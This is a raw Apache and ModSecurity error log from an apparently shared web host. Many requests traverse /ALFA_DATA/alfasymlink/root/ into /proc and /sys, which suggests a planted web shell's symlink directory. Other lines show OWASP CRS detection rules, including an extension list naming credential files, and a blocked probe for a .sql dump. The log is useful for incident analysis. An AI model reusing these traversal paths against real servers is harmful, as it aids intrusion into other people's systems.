[Tue Oct 27 06:13:04.050880 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 85.208.96.206:20990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/cache_dma
[Tue Oct 27 06:13:10.245826 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 185.191.171.8:49344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/irqbypass/sections/__ksymtab_strings
[Tue Oct 27 06:13:14.812018 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 98.84.184.80:64707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:13:22.981246 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.211.181.86:3043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:13:39.234642 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.93.253.174:61571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:13:43.176392 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 3.224.215.150:23447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/sections/__ex_table
[Tue Oct 27 06:13:46.965278 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.206.47.187:29163] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:13:59.062942 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.3.102.51:12303] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:14:03.176916 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 35.172.125.172:46916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:14:31.011513 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 23.22.105.143:7166] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:14:39.142236 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.204:24660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/936/net/rpc/auth.unix.gid/channel
[Tue Oct 27 06:14:39.364584 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.21.250.48:33371] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:14:51.336612 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 98.84.200.43:17364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/unbind
[Tue Oct 27 06:14:55.116951 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.4.238.8:57054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:03.293809 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 54.144.185.255:44023] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS3/line
[Tue Oct 27 06:15:15.578838 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.82.39.241:61331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:27.314425 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.83.10.183:40465] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:39.505906 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 107.20.255.194:6926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:47.519759 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.243.63.52:37953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:51.122984 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 85.208.96.212:17594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:15:59.475078 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.54.157.23:4487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:16:20.941739 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 3.226.34.98:8677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event1/subsystem/event3/device/device/driver/module/uevent
[Tue Oct 27 06:16:23.535609 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 184.73.35.182:63947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:16:31.497844 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.203.111.15:8833] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:16:55.561232 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.71.216.196:60434] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:02.847806 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 185.191.171.17:42724] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:03.722300 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.159.18.27:5281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:07.614443 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.205.192.249:12789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/subsystem/input0/device/driver/unbind
[Tue Oct 27 06:17:12.314737 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.44.229.124:4525] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:19.771988 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.203.152.231:28295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:27.995045 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.220.148.166:37070] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:17:27.995245 2026] [security2:error] [pid 3201641:tid 3201641] [client 3.220.148.166:37070] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory9/node0/memory23/phys_index"] [unique_id "auB6Nx6MTIKaGGLTiEIZVgAAAAc"]
[Tue Oct 27 06:17:27.995274 2026] [security2:error] [pid 3201641:tid 3201641] [client 3.220.148.166:37070] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory9/node0/memory23/phys_index"] [unique_id "auB6Nx6MTIKaGGLTiEIZVgAAAAc"]
[Tue Oct 27 06:17:31.909783 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.194.139.149:17600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:18:08.011225 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.205.192.249:25293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:18:31.746781 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.215.210.112:28537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:18:36.051793 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 34.233.114.237:46803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:18:47.803914 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.71.216.196:61741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:18:51.800994 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 35.168.238.50:19034] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:19:03.825625 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.84.200.43:15782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:19:20.015449 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 44.205.180.155:60652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/irq
[Tue Oct 27 06:19:23.866353 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 54.197.102.71:6410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:19:29.697000 2026] [security2:error] [pid 3209603:tid 3209603] [client 175.27.171.245:34120] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "auB6sT4THoroSjopRdX_RgAAAAE"]
[Tue Oct 27 06:19:39.879207 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.212.131.50:9430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:19:39.879520 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.212.131.50:9430] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0303:00/subsystem/drivers_autoprobe"] [unique_id "auB6uwJ0bI7Z9n11TMAB7QAAAAA"]
[Tue Oct 27 06:19:39.879567 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.212.131.50:9430] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0303:00/subsystem/drivers_autoprobe"] [unique_id "auB6uwJ0bI7Z9n11TMAB7QAAAAA"]
[Tue Oct 27 06:19:43.867312 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 44.194.134.53:20592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/fw_cfg/uevent
[Tue Oct 27 06:20:04.259563 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.212.131.50:3028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:07.728533 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.204.150.196:57620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:12.546558 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.163.169.168:10959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:19.771313 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.71.216.196:23159] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:29.752349 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.213.102.186:6828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:39.879834 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.3.102.51:48904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:20:55.671511 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.196.118.6:33225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:21:12.121958 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.6.232.201:48708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:21:15.895056 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.204.37.237:47416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:21:20.007430 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 98.82.39.241:6484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:21:25.478317 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 185.191.171.2:16766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:21:26.976224 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 185.191.171.2:16780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/tailwatchd.pid
[Tue Oct 27 06:21:36.112969 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 35.171.141.42:26010] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:12.363514 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.159.98.248:34222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:16.116990 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 100.28.49.152:1200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:20.051066 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.3.104.214:21122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:25.631022 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.212.232.231:49416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:36.427038 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.94.199.128:22179] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:40.210715 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.225.148.123:46006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:22:47.703629 2026] [security2:error] [pid 3209604:tid 3209604] [client 100.54.194.69:62440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auB7d60A58tRzIL-Q2Bm3wAAAAM"], referer: https://www.hosp1.sherwinpinturas.com/
[Tue Oct 27 06:22:47.703676 2026] [security2:error] [pid 3209604:tid 3209604] [client 100.54.194.69:62440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auB7d60A58tRzIL-Q2Bm3wAAAAM"], referer: https://www.hosp1.sherwinpinturas.com/
[Tue Oct 27 06:22:47.743565 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.3.26.180:24927] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:03.976201 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.82.59.253:46963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:07.953516 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 23.21.228.180:23048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:18.266550 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 85.208.96.193:13414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/object_size
[Tue Oct 27 06:23:19.787841 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 98.84.184.80:14805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/bind
[Tue Oct 27 06:23:23.880462 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.205.213.231:47888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:27.870405 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 23.23.99.55:56671] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:32.003638 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.159.18.27:21552] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:35.837286 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.159.98.248:38072] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:39.679718 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.209.174.110:2629] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:43.726528 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.234.200.207:28295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:23:47.882874 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 54.91.122.193:20064] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:00.067878 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.238.45.183:26580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:07.754580 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.207.79.144:15397] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:15.671869 2026] [core:crit] [pid 3209604:tid 3209604] (13)Permission denied: [client 48.217.49.53:48248] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 06:24:19.785348 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.218.35.239:62040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:23.917198 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.234.206.30:21771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:32.268942 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 52.205.141.124:58381] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:10/eject
[Tue Oct 27 06:24:34.581543 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 85.208.96.196:27130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/remote_node_defrag_ratio
[Tue Oct 27 06:24:35.816805 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.205.163.103:61325] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:47.784434 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 98.80.130.239:56369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:51.759364 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 184.73.47.24:23672] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:24:55.676814 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 18.205.91.101:14524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/bind
[Tue Oct 27 06:25:01.881124 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.199:58842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:07.741456 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.223.232.55:9065] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:11.878315 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.209.100.30:50939] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:23.913247 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.243.63.52:44176] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:27.846265 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 98.83.10.183:10512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:31.776094 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 44.210.204.255:25122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:35.829654 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.87.62.248:37580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:44.081614 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.167.32.123:38187] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:47.765865 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.88.84.219:56488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:55.713863 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.225.243.131:49857] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:25:56.902773 2026] [security2:error] [pid 3201641:tid 3201641] [client 85.208.96.203:28452] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php82/clone.php"] [unique_id "auB8NB6MTIKaGGLTiEIZaQAAAAc"]
[Tue Oct 27 06:25:56.902814 2026] [security2:error] [pid 3201641:tid 3201641] [client 85.208.96.203:28452] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php82/clone.php"] [unique_id "auB8NB6MTIKaGGLTiEIZaQAAAAc"]
[Tue Oct 27 06:26:04.105440 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.205.91.101:5201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:07.761354 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.215.49.176:54351] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:16.032364 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.93.253.174:14871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:19.807798 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.214.186.220:56905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:35.761590 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.206.47.187:10440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:47.864667 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.23.104.107:46298] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:26:59.916674 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.222.190.107:22483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:07.671843 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 35.172.125.172:33859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:14.409902 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 185.191.171.18:36722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/align
[Tue Oct 27 06:27:19.771696 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.206.93.215:63334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:23.701813 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.212.205.90:44556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:27.727793 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.225.243.131:23778] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:27.728000 2026] [security2:error] [pid 3201656:tid 3201656] [client 34.225.243.131:23778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/event0/device/subsystem/input3/event3/subsystem/input1/event1/uevent"] [unique_id "auB8j0mqTSs7laY6jMTiywAAABc"]
[Tue Oct 27 06:27:27.728030 2026] [security2:error] [pid 3201656:tid 3201656] [client 34.225.243.131:23778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/event0/device/subsystem/input3/event3/subsystem/input1/event1/uevent"] [unique_id "auB8j0mqTSs7laY6jMTiywAAABc"]
[Tue Oct 27 06:27:31.780222 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.221.37.41:61803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:35.812495 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 23.21.148.226:36530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:39.946522 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.4.229.9:50963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:42.347826 2026] [security2:error] [pid 3201656:tid 3201656] [client 185.191.171.12:53692] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/zacsonzf.sql"] [unique_id "auB8nkmqTSs7laY6jMTizAAAABc"]
[Tue Oct 27 06:27:42.348201 2026] [security2:error] [pid 3201656:tid 3201656] [client 185.191.171.12:53692] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/zacsonzf.sql"] [unique_id "auB8nkmqTSs7laY6jMTizAAAABc"]
[Tue Oct 27 06:27:42.349190 2026] [security2:error] [pid 3201656:tid 3201656] [client 185.191.171.12:53692] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auB8nkmqTSs7laY6jMTizAAAABc"]
[Tue Oct 27 06:27:43.667415 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.6.97.88:10839] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:52.161966 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.223.193.255:62102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:27:55.751659 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.213.240.226:12328] AH02013: coalesce failed to read from data bucket
